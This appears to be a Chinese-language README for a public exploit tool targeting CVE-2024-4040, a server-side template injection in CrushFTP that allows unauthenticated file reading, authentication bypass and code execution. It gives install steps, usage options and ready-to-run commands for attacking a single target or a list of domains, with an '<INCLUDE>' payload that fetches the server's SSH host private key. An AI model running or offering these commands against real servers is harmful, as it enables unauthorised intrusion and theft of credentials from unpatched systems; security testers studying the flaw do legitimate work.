CrushFTP 所有版本在 10.7.1 和 11.1.0 之前(所有平台)中存在一个服务器端模板注入漏洞,允许未经身份验证的远程攻击者读取 VFS 沙箱之外的文件系统文件,绕过身份验证获取管理员权限,并在服务器上执行远程代码。
git clone https://github.com/gotr00t0day/CVE-2024-4040.git
cd CVE-2024-4040
pip3 install -r requirements.txt
usage: CVE-2024-4040.py [-h] [-t TARGET] [-f FILE] [-d DOMAINS]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target to scan
-f FILE, --file FILE file to fetch
-d DOMAINS, --domains DOMAINS
file containing list of domains
# 请确保使用 <INCLUDE> 标签或其他标签来利用目标,有时不需要任何标签。
# 利用单个目标
python3 CVE-2024-4040.py -t http://TARGET:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"
# 利用目标列表
python3 CVE-2024-4040.py -d ~/list.txt -f %hostname%
请阅读 ATTACKERKB 分析报告 以更好地了解如何使用此漏洞利用方法。